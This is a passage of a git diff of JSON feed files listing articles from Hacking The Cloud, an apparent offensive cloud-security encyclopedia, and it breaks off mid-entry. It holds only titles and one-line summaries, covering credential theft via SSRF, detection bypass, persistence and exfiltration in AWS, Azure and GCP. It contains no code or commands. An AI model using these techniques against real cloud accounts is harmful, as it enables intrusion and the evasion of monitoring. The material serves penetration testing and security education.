"title": "Introduction to the Instance Metadata Service", "content_html": "An introduction to the Instance Metadata Service and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png", "date_published": "2020-12-20T20:10:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "url": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "title": "Introduction to User Data", "content_html": "An introduction to EC2 User Data and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png", "date_published": "2020-12-20T20:10:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "url": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "title": "Brute Force IAM Permissions", "content_html": "Brute force the IAM permissions of a user or role to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png", "date_published": "2020-12-20T18:58:26+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "url": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "title": "Get Account ID from AWS Access Keys", "content_html": "Techniques to enumerate the account ID associated with an AWS access key.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png", "date_published": "2020-09-27T16:06:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/whoami/", "url": "https://hackingthe.cloud/aws/enumeration/whoami/", "title": "Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png", "date_published": "2020-08-21T17:00:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "url": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "title": "Steal IAM Credentials and Event Data from Lambda", "content_html": "Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png", "date_published": "2020-08-12T23:15:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "url": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "title": "Unauthenticated Enumeration of IAM Users and Roles", "content_html": "Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png", "date_published": "2020-08-05T14:32:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "url": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "title": "Steal EC2 Metadata Credentials via SSRF", "content_html": "Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png", "date_published": "2020-08-01T17:43:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "url": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "title": "Connection Tracking", "content_html": "Abuse security group connection tracking to maintain persistence even when security group rules are changed.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png", "date_published": "2020-07-30T23:28:52+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "url": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "title": "IAM unique identifiers", "content_html": "Chart of the IAM unique ID prefixes.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png", "date_published": "2020-07-27T19:47:46+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "title": "Bypass GuardDuty Pentest Findings", "content_html": "Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png", "date_published": "2020-07-22T02:58:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "url": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "title": "Bypass Credential Exfiltration Detection", "content_html": "When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png", "date_published": "2020-07-22T02:58:24+00:00", "authors": [], "tags": null}]} \ No newline at end of file diff --git a/feed_json_updated.json b/feed_json_updated.json index ff7a12872..bf4d7257b 100644 --- a/feed_json_updated.json +++ b/feed_json_updated.json @@ -1 +1 @@ -{"version": "https://jsonfeed.org/version/1", "title": "Hacking The Cloud", "home_page_url": "https://hackingthe.cloud/", "feed_url": "https://hackingthe.cloud/feed_json_updated.json", "description": "The encyclopedia for offensive security in the cloud.", "icon": null, "authors": [], "language": "en", "items": [{"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "title": "Abusing Misconfigured Role Trust Policies with a Wildcard Principal", "content_html": "How to take advantage of misconfigured role trust policies that have wildcard principals.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png", "date_modified": "2024-08-04T21:24:46+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "url": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "title": "Prevent Expensive AWS API Actions with SCPs", "content_html": "Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png", "date_modified": "2024-07-30T15:11:00+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "title": "Enumerate Org/Folder/Project Permissions + Individual Resource Permissions", "content_html": "Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png", "date_modified": "2024-07-14T21:50:00+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/abusing-managed-identities/", "url": "https://hackingthe.cloud/azure/abusing-managed-identities/", "title": "Abusing Managed Identities", "content_html": "Abusing Managed Identities", "image": "https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png", "date_modified": "2024-06-15T06:21:29+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "url": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "title": "Discover secrets in public AMIs", "content_html": "How to find public AMIs and get stored secrets.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png", "date_modified": "2024-05-29T03:08:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "url": "https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/", "title": "Unauthenticated Enumeration of IAM Users and Roles", "content_html": "Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enum_iam_user_role.png", "date_modified": "2024-05-28T14:52:34+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "title": "Enumerate Root User Email Address from the AWS Console", "content_html": "Identify if an email address belongs to the root user of an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png", "date_modified": "2024-05-21T20:10:23+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/", "title": "Enumerate AWS Account ID from a Public S3 Bucket", "content_html": "Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_s3_bucket.png", "date_modified": "2024-04-14T19:40:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "title": "AWS Organizations Defaults & Pivoting", "content_html": "How to abuse AWS Organizations' default behavior and lateral movement capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/anonymous-blob-access/", "url": "https://hackingthe.cloud/azure/anonymous-blob-access/", "title": "Anonymous Blob Access", "content_html": "Finding and accessing files stored in Azure Storage Accounts without authentication.", "image": "https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "url": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "title": "Soft Deleted Blobs", "content_html": "Recovering and accessing files in private Storage Accounts that have been deleted.", "image": "https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/", "url": "https://hackingthe.cloud/", "title": "Hacking The Cloud", "content_html": "The encyclopedia for offensive security in the cloud", "image": "https://hackingthe.cloud/assets/images/social/index.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/", "title": "Bypass GuardDuty Pentest Findings", "content_html": "Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-pentest.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "url": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "title": "CI/CDon't", "content_html": "An AWS/GitLab CICD themed CTF.", "image": "https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "url": "https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/", "title": "[Deprecated] Enumerate Permissions without Logging to CloudTrail", "content_html": "Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/stealth_perm_enum.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "url": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "title": "Loot Public EBS Snapshots", "content_html": "How to find and take advantage of exposed EBS snapshots.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "url": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "title": "Abusing Elastic Container Registry for Lateral Movement", "content_html": "With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "url": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "title": "Steal EC2 Metadata Credentials via SSRF", "content_html": "Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/", "title": "AWS IAM Privilege Escalation Techniques", "content_html": "Common techniques that can be leveraged to escalate privileges in an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/iam_privilege_escalation.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "url": "https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/", "title": "Steal IAM Credentials and Event Data from Lambda", "content_html": "Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/lambda-steal-iam-credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "url": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "title": "Exfiltrating S3 Data with Bucket Replication Policies", "content_html": "Backdooring S3 buckets with Bucket Replication Policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "title": "Abusing Misconfigured ECR Resource Policies", "content_html": "How to take advantage of misconfigured AWS ECR private repositories.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "url": "https://hackingthe.cloud/aws/general-knowledge/connection-tracking/", "title": "Connection Tracking", "content_html": "Abuse security group connection tracking to maintain persistence even when security group rules are changed.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "url": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "title": "Using Stolen IAM Credentials", "content_html": "How to work with stolen IAM credentials and things to consider.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "url": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "title": "Create a Console Session from IAM Credentials", "content_html": "How to use IAM credentials to create an AWS Console session.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "url": "https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/", "title": "Intercept SSM Communications", "content_html": "With access to an EC2 instance you can intercept, modify, and spoof SSM communications.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/intercept_ssm_communications.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "title": "Lambda Persistence", "content_html": "How to establish persistence on a Lambda function after getting remote code execution.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "title": "User Data Script Persistence", "content_html": "Maintain access to an EC2 instance and it's IAM role via user data scripts.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2022_wrap-up/", "url": "https://hackingthe.cloud/blog/2022_wrap-up/", "title": "2022 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2022.", "image": "https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2023_wrap-up/", "url": "https://hackingthe.cloud/blog/2023_wrap-up/", "title": "2023 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2023.", "image": "https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/v2_new_look/", "url": "https://hackingthe.cloud/blog/v2_new_look/", "title": "Hacking The Cloud v2: New Look", "content_html": "All about the new look for Hacking The Cloud v2.", "image": "https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "url": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "title": "Terraform ANSI Escape", "content_html": "Using ANSI Escape Sequences to Hide Malicious Terraform Code", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "url": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "title": "Terraform Enterprise: Attack the Metadata Service", "content_html": "Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "title": "Derive a Principal ARN from an AWS Unique Identifier", "content_html": "How to convert an unique identifier to a principal ARN.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png", "date_modified": "2024-02-15T03:00:00+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "url": "https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/", "title": "Get IAM Credentials from a Console Session", "content_html": "Convert access to the AWS Console into IAM credentials.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/get_iam_creds_from_console_session.png", "date_modified": "2024-02-14T03:21:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "url": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "title": "Role Chain Juggling", "content_html": "Keep your access by chaining assume-role calls.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png", "date_modified": "2024-02-09T02:49:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/whoami/", "url": "https://hackingthe.cloud/aws/deprecated/whoami/", "title": "[Deprecated] Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png", "date_modified": "2024-02-02T00:17:34+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "url": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "title": "EC2 Privilege Escalation Through User Data", "content_html": "How to escalate privileges on an EC2 instance by abusing user data.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png", "date_modified": "2024-01-23T00:25:07+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "title": "AWS IAM Persistence Methods", "content_html": "A catalog of methods to maintain access to the AWS control plane.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png", "date_modified": "2024-01-21T17:34:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "url": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "title": "Run Shell Commands on EC2 with Send Command or Session Manager", "content_html": "Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png", "date_modified": "2024-01-21T17:27:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "url": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "title": "Modify GuardDuty Configuration", "content_html": "Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png", "date_modified": "2024-01-21T17:20:20+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "title": "AWS API Call Hijacking via ACM-PCA", "content_html": "By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png", "date_modified": "2024-01-13T20:48:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "url": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "title": "Get Account ID from AWS Access Keys", "content_html": "Techniques to enumerate the account ID associated with an AWS access key.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png", "date_modified": "2024-01-13T01:04:53+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "title": "Misconfigured Resource-Based Policies", "content_html": "Common misconfigurations of resource-based policies and how they can be abused.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png", "date_modified": "2024-01-11T08:57:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "url": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "title": "Bypass Cognito Account Enumeration Controls", "content_html": "Leverage a flaw in Cognito's API to enumerate accounts in User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png", "date_modified": "2024-01-08T15:03:16+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "title": "Abusing Unintended Self-Signup in AWS Cognito", "content_html": "How to take advantage of misconfigured Amazon Cognito User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png", "date_modified": "2024-01-06T22:14:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "title": "Abusing Overpermissioned AWS Cognito Identity Pools", "content_html": "How to take advantage of misconfigured Amazon Cognito Identity Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png", "date_modified": "2024-01-06T20:43:40+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "url": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "title": "IAM unique identifiers", "content_html": "Chart of the IAM unique ID prefixes.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png", "date_modified": "2024-01-04T04:45:39+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "url": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "title": "DNS and CloudFront Domain Takeover via Deleted S3 Buckets", "content_html": "How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png", "date_modified": "2023-12-26T20:35:31+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "url": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "title": "Data Exfiltration through S3 Server Access Logs", "content_html": "Exfiltrate data via S3:GetObject and S3 server access logs.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png", "date_modified": "2023-12-08T02:37:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/whoami/", "url": "https://hackingthe.cloud/aws/enumeration/whoami/", "title": "Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png", "date_modified": "2023-11-05T18:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "url": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "title": "Bypass Credential Exfiltration Detection", "content_html": "When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png", "date_modified": "2023-10-18T00:06:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "url": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "title": "Survive Access Key Deletion with sts:GetFederationToken", "content_html": "Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png", "date_modified": "2023-09-25T13:24:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "url": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "title": "Download Tools and Exfiltrate Data with the AWS CLI", "content_html": "Using the AWS CLI as a LOLScript to download and exfiltrate data.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png", "date_modified": "2023-07-15T15:12:33+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/enum_email_addresses/", "url": "https://hackingthe.cloud/azure/enum_email_addresses/", "title": "Unauthenticated Enumeration of Azure Active Directory Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png", "date_modified": "2023-04-12T00:53:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "url": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "title": "Unauthenticated Enumeration of Google Workspace Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png", "date_modified": "2023-04-12T00:53:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "url": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "title": "S3 Streaming Copy", "content_html": "Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment", "image": 